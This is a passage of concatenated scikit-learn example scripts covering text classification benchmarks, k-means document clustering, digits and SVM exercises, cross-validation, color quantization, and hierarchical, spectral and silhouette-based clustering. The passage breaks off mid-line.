# Train SGD with Elastic Net penalty
print('=' * 80)
print("Elastic-Net penalty")
results.append(benchmark(SGDClassifier(alpha=.0001, n_iter=50,
                                       penalty="elasticnet")))

# Train NearestCentroid without threshold
print('=' * 80)
print("NearestCentroid (aka Rocchio classifier)")
results.append(benchmark(NearestCentroid()))

# Train sparse Naive Bayes classifiers
print('=' * 80)
print("Naive Bayes")
results.append(benchmark(MultinomialNB(alpha=.01)))
results.append(benchmark(BernoulliNB(alpha=.01)))

print('=' * 80)
print("LinearSVC with L1-based feature selection")
# The smaller C, the stronger the regularization.
# The more regularization, the more sparsity.
results.append(benchmark(Pipeline([
  ('feature_selection', LinearSVC(penalty="l1", dual=False, tol=1e-3)),
  ('classification', LinearSVC())
])))

# make some plots

indices = np.arange(len(results))

results = [[x[i] for x in results] for i in range(4)]

clf_names, score, training_time, test_time = results
training_time = np.array(training_time) / np.max(training_time)
test_time = np.array(test_time) / np.max(test_time)

plt.figure(figsize=(12, 8))
plt.title("Score")
plt.barh(indices, score, .2, label="score", color='navy')
plt.barh(indices + .3, training_time, .2, label="training time",
         color='c')
plt.barh(indices + .6, test_time, .2, label="test time", color='darkorange')
plt.yticks(())
plt.legend(loc='best')
plt.subplots_adjust(left=.25)
plt.subplots_adjust(top=.95)
plt.subplots_adjust(bottom=.05)

for i, c in zip(indices, clf_names):
    plt.text(-.3, i, c)

plt.show()






"""
=======================================
Clustering text documents using k-means
=======================================

This is an example showing how the scikit-learn can be used to cluster
documents by topics using a bag-of-words approach. This example uses
a scipy.sparse matrix to store the features instead of standard numpy arrays.

Two feature extraction methods can be used in this example:

  - TfidfVectorizer uses a in-memory vocabulary (a python dict) to map the most
    frequent words to features indices and hence compute a word occurrence
    frequency (sparse) matrix. The word frequencies are then reweighted using
    the Inverse Document Frequency (IDF) vector collected feature-wise over
    the corpus.

  - HashingVectorizer hashes word occurrences to a fixed dimensional space,
    possibly with collisions. The word count vectors are then normalized to
    each have l2-norm equal to one (projected to the euclidean unit-ball) which
    seems to be important for k-means to work in high dimensional space.

    HashingVectorizer does not provide IDF weighting as this is a stateless
    model (the fit method does nothing). When IDF weighting is needed it can
    be added by pipelining its output to a TfidfTransformer instance.

Two algorithms are demoed: ordinary k-means and its more scalable cousin
minibatch k-means.

Additionally, latent semantic analysis can also be used to reduce dimensionality
and discover latent patterns in the data. 

It can be noted that k-means (and minibatch k-means) are very sensitive to
feature scaling and that in this case the IDF weighting helps improve the
quality of the clustering by quite a lot as measured against the "ground truth"
provided by the class label assignments of the 20 newsgroups dataset.

This improvement is not visible in the Silhouette Coefficient which is small
for both as this measure seem to suffer from the phenomenon called
"Concentration of Measure" or "Curse of Dimensionality" for high dimensional
datasets such as text data. Other measures such as V-measure and Adjusted Rand
Index are information theoretic based evaluation scores: as they are only based
on cluster assignments rather than distances, hence not affected by the curse
of dimensionality.

Note: as k-means is optimizing a non-convex objective function, it will likely
end up in a local optimum. Several runs with independent random init might be
necessary to get a good convergence.

"""

# Author: Peter Prettenhofer <peter.prettenhofer@gmail.com>
#         Lars Buitinck
# License: BSD 3 clause

from __future__ import print_function

from sklearn.datasets import fetch_20newsgroups
from sklearn.decomposition import TruncatedSVD
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.feature_extraction.text import HashingVectorizer
from sklearn.feature_extraction.text import TfidfTransformer
from sklearn.pipeline import make_pipeline
from sklearn.preprocessing import Normalizer
from sklearn import metrics

from sklearn.cluster import KMeans, MiniBatchKMeans

import logging
from optparse import OptionParser
import sys
from time import time

import numpy as np


# Display progress logs on stdout
logging.basicConfig(level=logging.INFO,
                    format='%(asctime)s %(levelname)s %(message)s')

# parse commandline arguments
op = OptionParser()
op.add_option("--lsa",
              dest="n_components", type="int",
              help="Preprocess documents with latent semantic analysis.")
op.add_option("--no-minibatch",
              action="store_false", dest="minibatch", default=True,
              help="Use ordinary k-means algorithm (in batch mode).")
op.add_option("--no-idf",
              action="store_false", dest="use_idf", default=True,
              help="Disable Inverse Document Frequency feature weighting.")
op.add_option("--use-hashing",
              action="store_true", default=False,
              help="Use a hashing feature vectorizer")
op.add_option("--n-features", type=int, default=10000,
              help="Maximum number of features (dimensions)"
                   " to extract from text.")
op.add_option("--verbose",
              action="store_true", dest="verbose", default=False,
              help="Print progress reports inside k-means algorithm.")

print(__doc__)
op.print_help()

(opts, args) = op.parse_args()
if len(args) > 0:
    op.error("this script takes no arguments.")
    sys.exit(1)


###############################################################################
# Load some categories from the training set
categories = [
    'alt.atheism',
    'talk.religion.misc',
    'comp.graphics',
    'sci.space',
]
# Uncomment the following to do the analysis on all the categories
#categories = None

print("Loading 20 newsgroups dataset for categories:")
print(categories)

dataset = fetch_20newsgroups(subset='all', categories=categories,
                             shuffle=True, random_state=42)

print("%d documents" % len(dataset.data))
print("%d categories" % len(dataset.target_names))
print()

labels = dataset.target
true_k = np.unique(labels).shape[0]

print("Extracting features from the training dataset using a sparse vectorizer")
t0 = time()
if opts.use_hashing:
    if opts.use_idf:
        # Perform an IDF normalization on the output of HashingVectorizer
        hasher = HashingVectorizer(n_features=opts.n_features,
                                   stop_words='english', non_negative=True,
                                   norm=None, binary=False)
        vectorizer = make_pipeline(hasher, TfidfTransformer())
    else:
        vectorizer = HashingVectorizer(n_features=opts.n_features,
                                       stop_words='english',
                                       non_negative=False, norm='l2',
                                       binary=False)
else:
    vectorizer = TfidfVectorizer(max_df=0.5, max_features=opts.n_features,
                                 min_df=2, stop_words='english',
                                 use_idf=opts.use_idf)
X = vectorizer.fit_transform(dataset.data)

print("done in %fs" % (time() - t0))
print("n_samples: %d, n_features: %d" % X.shape)
print()

if opts.n_components:
    print("Performing dimensionality reduction using LSA")
    t0 = time()
    # Vectorizer results are normalized, which makes KMeans behave as
    # spherical k-means for better results. Since LSA/SVD results are
    # not normalized, we have to redo the normalization.
    svd = TruncatedSVD(opts.n_components)
    normalizer = Normalizer(copy=False)
    lsa = make_pipeline(svd, normalizer)

    X = lsa.fit_transform(X)

    print("done in %fs" % (time() - t0))

    explained_variance = svd.explained_variance_ratio_.sum()
    print("Explained variance of the SVD step: {}%".format(
        int(explained_variance * 100)))

    print()


###############################################################################
# Do the actual clustering

if opts.minibatch:
    km = MiniBatchKMeans(n_clusters=true_k, init='k-means++', n_init=1,
                         init_size=1000, batch_size=1000, verbose=opts.verbose)
else:
    km = KMeans(n_clusters=true_k, init='k-means++', max_iter=100, n_init=1,
                verbose=opts.verbose)

print("Clustering sparse data with %s" % km)
t0 = time()
km.fit(X)
print("done in %0.3fs" % (time() - t0))
print()

print("Homogeneity: %0.3f" % metrics.homogeneity_score(labels, km.labels_))
print("Completeness: %0.3f" % metrics.completeness_score(labels, km.labels_))
print("V-measure: %0.3f" % metrics.v_measure_score(labels, km.labels_))
print("Adjusted Rand-Index: %.3f"
      % metrics.adjusted_rand_score(labels, km.labels_))
print("Silhouette Coefficient: %0.3f"
      % metrics.silhouette_score(X, km.labels_, sample_size=1000))

print()


if not opts.use_hashing:
    print("Top terms per cluster:")

    if opts.n_components:
        original_space_centroids = svd.inverse_transform(km.cluster_centers_)
        order_centroids = original_space_centroids.argsort()[:, ::-1]
    else:
        order_centroids = km.cluster_centers_.argsort()[:, ::-1]

    terms = vectorizer.get_feature_names()
    for i in range(true_k):
        print("Cluster %d:" % i, end='')
        for ind in order_centroids[i, :10]:
            print(' %s' % terms[ind], end='')
        print()






"""
================================
Digits Classification Exercise
================================

A tutorial exercise regarding the use of classification techniques on
the Digits dataset.

This exercise is used in the :ref:`clf_tut` part of the
:ref:`supervised_learning_tut` section of the
:ref:`stat_learn_tut_index`.
"""
print(__doc__)

from sklearn import datasets, neighbors, linear_model

digits = datasets.load_digits()
X_digits = digits.data
y_digits = digits.target

n_samples = len(X_digits)

X_train = X_digits[:.9 * n_samples]
y_train = y_digits[:.9 * n_samples]
X_test = X_digits[.9 * n_samples:]
y_test = y_digits[.9 * n_samples:]

knn = neighbors.KNeighborsClassifier()
logistic = linear_model.LogisticRegression()

print('KNN score: %f' % knn.fit(X_train, y_train).score(X_test, y_test))
print('LogisticRegression score: %f'
      % logistic.fit(X_train, y_train).score(X_test, y_test))






"""
=============================================
Cross-validation on Digits Dataset Exercise
=============================================

A tutorial exercise using Cross-validation with an SVM on the Digits dataset.

This exercise is used in the :ref:`cv_generators_tut` part of the
:ref:`model_selection_tut` section of the :ref:`stat_learn_tut_index`.
"""
print(__doc__)


import numpy as np
from sklearn.model_selection import cross_val_score
from sklearn import datasets, svm

digits = datasets.load_digits()
X = digits.data
y = digits.target

svc = svm.SVC(kernel='linear')
C_s = np.logspace(-10, 0, 10)

scores = list()
scores_std = list()
for C in C_s:
    svc.C = C
    this_scores = cross_val_score(svc, X, y, n_jobs=1)
    scores.append(np.mean(this_scores))
    scores_std.append(np.std(this_scores))

# Do the plotting
import matplotlib.pyplot as plt
plt.figure(1, figsize=(4, 3))
plt.clf()
plt.semilogx(C_s, scores)
plt.semilogx(C_s, np.array(scores) + np.array(scores_std), 'b--')
plt.semilogx(C_s, np.array(scores) - np.array(scores_std), 'b--')
locs, labels = plt.yticks()
plt.yticks(locs, list(map(lambda x: "%g" % x, locs)))
plt.ylabel('CV score')
plt.xlabel('Parameter C')
plt.ylim(0, 1.1)
plt.show()






"""
================================
SVM Exercise
================================

A tutorial exercise for using different SVM kernels.

This exercise is used in the :ref:`using_kernels_tut` part of the
:ref:`supervised_learning_tut` section of the :ref:`stat_learn_tut_index`.
"""
print(__doc__)


import numpy as np
import matplotlib.pyplot as plt
from sklearn import datasets, svm

iris = datasets.load_iris()
X = iris.data
y = iris.target

X = X[y != 0, :2]
y = y[y != 0]

n_sample = len(X)

np.random.seed(0)
order = np.random.permutation(n_sample)
X = X[order]
y = y[order].astype(np.float)

X_train = X[:.9 * n_sample]
y_train = y[:.9 * n_sample]
X_test = X[.9 * n_sample:]
y_test = y[.9 * n_sample:]

# fit the model
for fig_num, kernel in enumerate(('linear', 'rbf', 'poly')):
    clf = svm.SVC(kernel=kernel, gamma=10)
    clf.fit(X_train, y_train)

    plt.figure(fig_num)
    plt.clf()
    plt.scatter(X[:, 0], X[:, 1], c=y, zorder=10, cmap=plt.cm.Paired)

    # Circle out the test data
    plt.scatter(X_test[:, 0], X_test[:, 1], s=80, facecolors='none', zorder=10)

    plt.axis('tight')
    x_min = X[:, 0].min()
    x_max = X[:, 0].max()
    y_min = X[:, 1].min()
    y_max = X[:, 1].max()

    XX, YY = np.mgrid[x_min:x_max:200j, y_min:y_max:200j]
    Z = clf.decision_function(np.c_[XX.ravel(), YY.ravel()])

    # Put the result into a color plot
    Z = Z.reshape(XX.shape)
    plt.pcolormesh(XX, YY, Z > 0, cmap=plt.cm.Paired)
    plt.contour(XX, YY, Z, colors=['k', 'k', 'k'], linestyles=['--', '-', '--'],
                levels=[-.5, 0, .5])

    plt.title(kernel)
plt.show()






"""
===============================================
Cross-validation on diabetes Dataset Exercise
===============================================

A tutorial exercise which uses cross-validation with linear models.

This exercise is used in the :ref:`cv_estimators_tut` part of the
:ref:`model_selection_tut` section of the :ref:`stat_learn_tut_index`.
"""

from __future__ import print_function
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt

from sklearn import datasets
from sklearn.linear_model import LassoCV
from sklearn.linear_model import Lasso
from sklearn.model_selection import KFold
from sklearn.model_selection import cross_val_score

diabetes = datasets.load_diabetes()
X = diabetes.data[:150]
y = diabetes.target[:150]

lasso = Lasso(random_state=0)
alphas = np.logspace(-4, -0.5, 30)

scores = list()
scores_std = list()

n_folds = 3

for alpha in alphas:
    lasso.alpha = alpha
    this_scores = cross_val_score(lasso, X, y, cv=n_folds, n_jobs=1)
    scores.append(np.mean(this_scores))
    scores_std.append(np.std(this_scores))

scores, scores_std = np.array(scores), np.array(scores_std)

plt.figure().set_size_inches(8, 6)
plt.semilogx(alphas, scores)

# plot error lines showing +/- std. errors of the scores
std_error = scores_std / np.sqrt(n_folds)

plt.semilogx(alphas, scores + std_error, 'b--')
plt.semilogx(alphas, scores - std_error, 'b--')

# alpha=0.2 controls the translucency of the fill color
plt.fill_between(alphas, scores + std_error, scores - std_error, alpha=0.2)

plt.ylabel('CV score +/- std error')
plt.xlabel('alpha')
plt.axhline(np.max(scores), linestyle='--', color='.5')
plt.xlim([alphas[0], alphas[-1]])

##############################################################################
# Bonus: how much can you trust the selection of alpha?

# To answer this question we use the LassoCV object that sets its alpha
# parameter automatically from the data by internal cross-validation (i.e. it
# performs cross-validation on the training data it receives).
# We use external cross-validation to see how much the automatically obtained
# alphas differ across different cross-validation folds.
lasso_cv = LassoCV(alphas=alphas, random_state=0)
k_fold = KFold(3)

print("Answer to the bonus question:",
      "how much can you trust the selection of alpha?")
print()
print("Alpha parameters maximising the generalization score on different")
print("subsets of the data:")
for k, (train, test) in enumerate(k_fold.split(X, y)):
    lasso_cv.fit(X[train], y[train])
    print("[fold {0}] alpha: {1:.5f}, score: {2:.5f}".
          format(k, lasso_cv.alpha_, lasso_cv.score(X[test], y[test])))
print()
print("Answer: Not very much since we obtained different alphas for different")
print("subsets of the data and moreover, the scores for these alphas differ")
print("quite substantially.")

plt.show()






# -*- coding: utf-8 -*-
"""
==================================
Color Quantization using K-Means
==================================

Performs a pixel-wise Vector Quantization (VQ) of an image of the summer palace
(China), reducing the number of colors required to show the image from 96,615
unique colors to 64, while preserving the overall appearance quality.

In this example, pixels are represented in a 3D-space and K-means is used to
find 64 color clusters. In the image processing literature, the codebook
obtained from K-means (the cluster centers) is called the color palette. Using
a single byte, up to 256 colors can be addressed, whereas an RGB encoding
requires 3 bytes per pixel. The GIF file format, for example, uses such a
palette.

For comparison, a quantized image using a random codebook (colors picked up
randomly) is also shown.
"""
# Authors: Robert Layton <robertlayton@gmail.com>
#          Olivier Grisel <olivier.grisel@ensta.org>
#          Mathieu Blondel <mathieu@mblondel.org>
#
# License: BSD 3 clause

print(__doc__)
import numpy as np
import matplotlib.pyplot as plt
from sklearn.cluster import KMeans
from sklearn.metrics import pairwise_distances_argmin
from sklearn.datasets import load_sample_image
from sklearn.utils import shuffle
from time import time

n_colors = 64

# Load the Summer Palace photo
china = load_sample_image("china.jpg")

# Convert to floats instead of the default 8 bits integer coding. Dividing by
# 255 is important so that plt.imshow behaves works well on float data (need to
# be in the range [0-1])
china = np.array(china, dtype=np.float64) / 255

# Load Image and transform to a 2D numpy array.
w, h, d = original_shape = tuple(china.shape)
assert d == 3
image_array = np.reshape(china, (w * h, d))

print("Fitting model on a small sub-sample of the data")
t0 = time()
image_array_sample = shuffle(image_array, random_state=0)[:1000]
kmeans = KMeans(n_clusters=n_colors, random_state=0).fit(image_array_sample)
print("done in %0.3fs." % (time() - t0))

# Get labels for all points
print("Predicting color indices on the full image (k-means)")
t0 = time()
labels = kmeans.predict(image_array)
print("done in %0.3fs." % (time() - t0))


codebook_random = shuffle(image_array, random_state=0)[:n_colors + 1]
print("Predicting color indices on the full image (random)")
t0 = time()
labels_random = pairwise_distances_argmin(codebook_random,
                                          image_array,
                                          axis=0)
print("done in %0.3fs." % (time() - t0))


def recreate_image(codebook, labels, w, h):
    """Recreate the (compressed) image from the code book & labels"""
    d = codebook.shape[1]
    image = np.zeros((w, h, d))
    label_idx = 0
    for i in range(w):
        for j in range(h):
            image[i][j] = codebook[labels[label_idx]]
            label_idx += 1
    return image

# Display all results, alongside original image
plt.figure(1)
plt.clf()
ax = plt.axes([0, 0, 1, 1])
plt.axis('off')
plt.title('Original image (96,615 colors)')
plt.imshow(china)

plt.figure(2)
plt.clf()
ax = plt.axes([0, 0, 1, 1])
plt.axis('off')
plt.title('Quantized image (64 colors, K-Means)')
plt.imshow(recreate_image(kmeans.cluster_centers_, labels, w, h))

plt.figure(3)
plt.clf()
ax = plt.axes([0, 0, 1, 1])
plt.axis('off')
plt.title('Quantized image (64 colors, Random)')
plt.imshow(recreate_image(codebook_random, labels_random, w, h))
plt.show()






"""
===========================================================
Hierarchical clustering: structured vs unstructured ward
===========================================================

Example builds a swiss roll dataset and runs
hierarchical clustering on their position.

For more information, see :ref:`hierarchical_clustering`.

In a first step, the hierarchical clustering is performed without connectivity
constraints on the structure and is solely based on distance, whereas in
a second step the clustering is restricted to the k-Nearest Neighbors
graph: it's a hierarchical clustering with structure prior.

Some of the clusters learned without connectivity constraints do not
respect the structure of the swiss roll and extend across different folds of
the manifolds. On the opposite, when opposing connectivity constraints,
the clusters form a nice parcellation of the swiss roll.
"""

# Authors : Vincent Michel, 2010
#           Alexandre Gramfort, 2010
#           Gael Varoquaux, 2010
# License: BSD 3 clause

print(__doc__)

import time as time
import numpy as np
import matplotlib.pyplot as plt
import mpl_toolkits.mplot3d.axes3d as p3
from sklearn.cluster import AgglomerativeClustering
from sklearn.datasets.samples_generator import make_swiss_roll

###############################################################################
# Generate data (swiss roll dataset)
n_samples = 1500
noise = 0.05
X, _ = make_swiss_roll(n_samples, noise)
# Make it thinner
X[:, 1] *= .5

###############################################################################
# Compute clustering
print("Compute unstructured hierarchical clustering...")
st = time.time()
ward = AgglomerativeClustering(n_clusters=6, linkage='ward').fit(X)
elapsed_time = time.time() - st
label = ward.labels_
print("Elapsed time: %.2fs" % elapsed_time)
print("Number of points: %i" % label.size)

###############################################################################
# Plot result
fig = plt.figure()
ax = p3.Axes3D(fig)
ax.view_init(7, -80)
for l in np.unique(label):
    ax.plot3D(X[label == l, 0], X[label == l, 1], X[label == l, 2],
              'o', color=plt.cm.jet(np.float(l) / np.max(label + 1)))
plt.title('Without connectivity constraints (time %.2fs)' % elapsed_time)


###############################################################################
# Define the structure A of the data. Here a 10 nearest neighbors
from sklearn.neighbors import kneighbors_graph
connectivity = kneighbors_graph(X, n_neighbors=10, include_self=False)

###############################################################################
# Compute clustering
print("Compute structured hierarchical clustering...")
st = time.time()
ward = AgglomerativeClustering(n_clusters=6, connectivity=connectivity,
                               linkage='ward').fit(X)
elapsed_time = time.time() - st
label = ward.labels_
print("Elapsed time: %.2fs" % elapsed_time)
print("Number of points: %i" % label.size)

###############################################################################
# Plot result
fig = plt.figure()
ax = p3.Axes3D(fig)
ax.view_init(7, -80)
for l in np.unique(label):
    ax.plot3D(X[label == l, 0], X[label == l, 1], X[label == l, 2],
              'o', color=plt.cm.jet(float(l) / np.max(label + 1)))
plt.title('With connectivity constraints (time %.2fs)' % elapsed_time)

plt.show()






"""
===========================================================
A demo of K-Means clustering on the handwritten digits data
===========================================================

In this example we compare the various initialization strategies for
K-means in terms of runtime and quality of the results.

As the ground truth is known here, we also apply different cluster
quality metrics to judge the goodness of fit of the cluster labels to the
ground truth.

Cluster quality metrics evaluated (see :ref:`clustering_evaluation` for
definitions and discussions of the metrics):

=========== ========================================================
Shorthand    full name
=========== ========================================================
homo         homogeneity score
compl        completeness score
v-meas       V measure
ARI          adjusted Rand index
AMI          adjusted mutual information
silhouette   silhouette coefficient
=========== ========================================================

"""
print(__doc__)

from time import time
import numpy as np
import matplotlib.pyplot as plt

from sklearn import metrics
from sklearn.cluster import KMeans
from sklearn.datasets import load_digits
from sklearn.decomposition import PCA
from sklearn.preprocessing import scale

np.random.seed(42)

digits = load_digits()
data = scale(digits.data)

n_samples, n_features = data.shape
n_digits = len(np.unique(digits.target))
labels = digits.target

sample_size = 300

print("n_digits: %d, \t n_samples %d, \t n_features %d"
      % (n_digits, n_samples, n_features))


print(79 * '_')
print('% 9s' % 'init'
      '    time  inertia    homo   compl  v-meas     ARI AMI  silhouette')


def bench_k_means(estimator, name, data):
    t0 = time()
    estimator.fit(data)
    print('% 9s   %.2fs    %i   %.3f   %.3f   %.3f   %.3f   %.3f    %.3f'
          % (name, (time() - t0), estimator.inertia_,
             metrics.homogeneity_score(labels, estimator.labels_),
             metrics.completeness_score(labels, estimator.labels_),
             metrics.v_measure_score(labels, estimator.labels_),
             metrics.adjusted_rand_score(labels, estimator.labels_),
             metrics.adjusted_mutual_info_score(labels,  estimator.labels_),
             metrics.silhouette_score(data, estimator.labels_,
                                      metric='euclidean',
                                      sample_size=sample_size)))

bench_k_means(KMeans(init='k-means++', n_clusters=n_digits, n_init=10),
              name="k-means++", data=data)

bench_k_means(KMeans(init='random', n_clusters=n_digits, n_init=10),
              name="random", data=data)

# in this case the seeding of the centers is deterministic, hence we run the
# kmeans algorithm only once with n_init=1
pca = PCA(n_components=n_digits).fit(data)
bench_k_means(KMeans(init=pca.components_, n_clusters=n_digits, n_init=1),
              name="PCA-based",
              data=data)
print(79 * '_')

###############################################################################
# Visualize the results on PCA-reduced data

reduced_data = PCA(n_components=2).fit_transform(data)
kmeans = KMeans(init='k-means++', n_clusters=n_digits, n_init=10)
kmeans.fit(reduced_data)

# Step size of the mesh. Decrease to increase the quality of the VQ.
h = .02     # point in the mesh [x_min, x_max]x[y_min, y_max].

# Plot the decision boundary. For that, we will assign a color to each
x_min, x_max = reduced_data[:, 0].min() - 1, reduced_data[:, 0].max() + 1
y_min, y_max = reduced_data[:, 1].min() - 1, reduced_data[:, 1].max() + 1
xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))

# Obtain labels for each point in mesh. Use last trained model.
Z = kmeans.predict(np.c_[xx.ravel(), yy.ravel()])

# Put the result into a color plot
Z = Z.reshape(xx.shape)
plt.figure(1)
plt.clf()
plt.imshow(Z, interpolation='nearest',
           extent=(xx.min(), xx.max(), yy.min(), yy.max()),
           cmap=plt.cm.Paired,
           aspect='auto', origin='lower')

plt.plot(reduced_data[:, 0], reduced_data[:, 1], 'k.', markersize=2)
# Plot the centroids as a white X
centroids = kmeans.cluster_centers_
plt.scatter(centroids[:, 0], centroids[:, 1],
            marker='x', s=169, linewidths=3,
            color='w', zorder=10)
plt.title('K-means clustering on the digits dataset (PCA-reduced data)\n'
          'Centroids are marked with white cross')
plt.xlim(x_min, x_max)
plt.ylim(y_min, y_max)
plt.xticks(())
plt.yticks(())
plt.show()






"""
===========================================
Spectral clustering for image segmentation
===========================================

In this example, an image with connected circles is generated and
spectral clustering is used to separate the circles.

In these settings, the :ref:`spectral_clustering` approach solves the problem
know as 'normalized graph cuts': the image is seen as a graph of
connected voxels, and the spectral clustering algorithm amounts to
choosing graph cuts defining regions while minimizing the ratio of the
gradient along the cut, and the volume of the region.

As the algorithm tries to balance the volume (ie balance the region
sizes), if we take circles with different sizes, the segmentation fails.

In addition, as there is no useful information in the intensity of the image,
or its gradient, we choose to perform the spectral clustering on a graph
that is only weakly informed by the gradient. This is close to performing
a Voronoi partition of the graph.

In addition, we use the mask of the objects to restrict the graph to the
outline of the objects. In this example, we are interested in
separating the objects one from the other, and not from the background.
"""
print(__doc__)

# Authors:  Emmanuelle Gouillart <emmanuelle.gouillart@normalesup.org>
#           Gael Varoquaux <gael.varoquaux@normalesup.org>
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn.feature_extraction import image
from sklearn.cluster import spectral_clustering

###############################################################################
l = 100
x, y = np.indices((l, l))

center1 = (28, 24)
center2 = (40, 50)
center3 = (67, 58)
center4 = (24, 70)

radius1, radius2, radius3, radius4 = 16, 14, 15, 14

circle1 = (x - center1[0]) ** 2 + (y - center1[1]) ** 2 < radius1 ** 2
circle2 = (x - center2[0]) ** 2 + (y - center2[1]) ** 2 < radius2 ** 2
circle3 = (x - center3[0]) ** 2 + (y - center3[1]) ** 2 < radius3 ** 2
circle4 = (x - center4[0]) ** 2 + (y - center4[1]) ** 2 < radius4 ** 2

###############################################################################
# 4 circles
img = circle1 + circle2 + circle3 + circle4

# We use a mask that limits to the foreground: the problem that we are
# interested in here is not separating the objects from the background,
# but separating them one from the other.
mask = img.astype(bool)

img = img.astype(float)
img += 1 + 0.2 * np.random.randn(*img.shape)

# Convert the image into a graph with the value of the gradient on the
# edges.
graph = image.img_to_graph(img, mask=mask)

# Take a decreasing function of the gradient: we take it weakly
# dependent from the gradient the segmentation is close to a voronoi
graph.data = np.exp(-graph.data / graph.data.std())

# Force the solver to be arpack, since amg is numerically
# unstable on this example
labels = spectral_clustering(graph, n_clusters=4, eigen_solver='arpack')
label_im = -np.ones(mask.shape)
label_im[mask] = labels

plt.matshow(img)
plt.matshow(label_im)

###############################################################################
# 2 circles
img = circle1 + circle2
mask = img.astype(bool)
img = img.astype(float)

img += 1 + 0.2 * np.random.randn(*img.shape)

graph = image.img_to_graph(img, mask=mask)
graph.data = np.exp(-graph.data / graph.data.std())

labels = spectral_clustering(graph, n_clusters=2, eigen_solver='arpack')
label_im = -np.ones(mask.shape)
label_im[mask] = labels

plt.matshow(img)
plt.matshow(label_im)

plt.show()






"""
Agglomerative clustering with and without structure
===================================================

This example shows the effect of imposing a connectivity graph to capture
local structure in the data. The graph is simply the graph of 20 nearest
neighbors.

Two consequences of imposing a connectivity can be seen. First clustering
with a connectivity matrix is much faster.

Second, when using a connectivity matrix, average and complete linkage are
unstable and tend to create a few clusters that grow very quickly. Indeed,
average and complete linkage fight this percolation behavior by considering all
the distances between two clusters when merging them. The connectivity
graph breaks this mechanism. This effect is more pronounced for very
sparse graphs (try decreasing the number of neighbors in
kneighbors_graph) and with complete linkage. In particular, having a very
small number of neighbors in the graph, imposes a geometry that is
close to that of single linkage, which is well known to have this
percolation instability.
"""
# Authors: Gael Varoquaux, Nelle Varoquaux
# License: BSD 3 clause

import time
import matplotlib.pyplot as plt
import numpy as np

from sklearn.cluster import AgglomerativeClustering
from sklearn.neighbors import kneighbors_graph

# Generate sample data
n_samples = 1500
np.random.seed(0)
t = 1.5 * np.pi * (1 + 3 * np.random.rand(1, n_samples))
x = t * np.cos(t)
y = t * np.sin(t)


X = np.concatenate((x, y))
X += .7 * np.random.randn(2, n_samples)
X = X.T

# Create a graph capturing local connectivity. Larger number of neighbors
# will give more homogeneous clusters to the cost of computation
# time. A very large number of neighbors gives more evenly distributed
# cluster sizes, but may not impose the local manifold structure of
# the data
knn_graph = kneighbors_graph(X, 30, include_self=False)

for connectivity in (None, knn_graph):
    for n_clusters in (30, 3):
        plt.figure(figsize=(10, 4))
        for index, linkage in enumerate(('average', 'complete', 'ward')):
            plt.subplot(1, 3, index + 1)
            model = AgglomerativeClustering(linkage=linkage,
                                            connectivity=connectivity,
                                            n_clusters=n_clusters)
            t0 = time.time()
            model.fit(X)
            elapsed_time = time.time() - t0
            plt.scatter(X[:, 0], X[:, 1], c=model.labels_,
                        cmap=plt.cm.spectral)
            plt.title('linkage=%s (time %.2fs)' % (linkage, elapsed_time),
                      fontdict=dict(verticalalignment='top'))
            plt.axis('equal')
            plt.axis('off')

            plt.subplots_adjust(bottom=0, top=.89, wspace=0,
                                left=0, right=1)
            plt.suptitle('n_cluster=%i, connectivity=%r' %
                         (n_clusters, connectivity is not None), size=17)


plt.show()






"""
===============================================================================
Selecting the number of clusters with silhouette analysis on KMeans clustering
===============================================================================

Silhouette analysis can be used to study the separation distance between the
resulting clusters. The silhouette plot displays a measure of how close each
point in one cluster is to points in the neighboring clusters and thus provides
a way to assess parameters like number of clusters visually. This measure has a
range of [-1, 1].

Silhouette coefficients (as these values are referred to as) near +1 indicate
that the sample is far away from the neighboring clusters. A value of 0
indicates that the sample is on or very close to the decision boundary between
two neighboring clusters and negative values indicate that those samples might
have been assigned to the wrong cluster.

In this example the silhouette analysis is used to choose an optimal value for
``n_clusters``. The silhouette plot shows that the ``n_clusters`` value of 3, 5
and 6 are a bad pick for the given data due to the presence of clusters with
below average silhouette scores and also due to wide fluctuations in the size
of the silhouette plots. Silhouette analysis is more ambivalent in deciding
between 2 and 4.

Also from the thickness of the silhouette plot the cluster size can be
visualized. The silhouette plot for cluster 0 when ``n_clusters`` is equal to
2, is bigger in size owing to the grouping of the 3 sub clusters into one big
cluster. However when the ``n_clusters`` is equal to 4, all the plots are more
or less of similar thickness and hence are of similar sizes as can be also
verified from the labelled scatter plot on the right.
"""

from __future__ import print_function

from sklearn.datasets import make_blobs
from sklearn.cluster import KMeans
from sklearn.metrics import silhouette_samples, silhouette_score

import matplotlib.pyplot as plt
import matplotlib.cm as cm
import numpy as np

print(__doc__)

# Generating the sample data from make_blobs
# This particular setting has one distinct cluster and 3 clusters placed close
# together.
X, y = make_blobs(n_samples=500,
                  n_features=2,
                  centers=4,
                  cluster_std=1,
                  center_box=(-10.0, 10.0),
                  shuffle=True,
                  random_state=1)  # For reproducibility

range_n_clusters = [2, 3, 4, 5, 6]

for n_clusters in range_n_clusters:
    # Create a subplot with 1 row and 2 columns
    fig, (ax1, ax2) = plt.subplots(1, 2)
    fig.set_size_inches(18, 7)

    # The 1st subplot is the silhouette plot
    # The silhouette coefficient can range from -1, 1 but in this example all
    # lie within [-0.1, 1]
    ax1.set_xlim([-0.1, 1])
    # The (n_clusters+1)*10 is for inserting blank space between silhouette
    # plots of individual clusters, to demarcate them clearly.
    ax1.set_ylim([0, len(X) + (n_clusters + 1) * 10])

    # Initialize the clusterer with n_clusters value and a random generator
    # seed of 10 for reproducibility.
    clusterer = KMeans(n_clusters=n_clusters, random_state=10)
    cluster_labels = clusterer.fit_predict(X)

    # The silhouette_score gives the average value for all the samples.
    # This gives a perspective into the density and separation of the formed
    # clusters
    silhouette_avg = silhouette_score(X, cluster_labels)
    print("For n_clusters =", n_clusters,
          "The average silhouette_score is :", silhouette_avg)

    # Compute the silhouette scores for each sample
    sample_silhouette_values = silhouette_samples(X, cluster_labels)

    y_lower = 10
    for i in range(n_clusters):
        # Aggregate the silhouette scores for samples belonging to
        # cluster i, and sort them
        ith_cluster_silhouette_values = \
            sample_silhouette_values[cluster_labels == i]

        ith_cluster_silhouette_values.sort()

        size_cluster_i = ith_cluster_silhouette_values.shape[0]
        y_upper = y_lower + size_cluster_i

        color = cm.spectral(float(i) / n_clusters)
        ax1.fill_betweenx(np.arange(y_lower, y_upper),
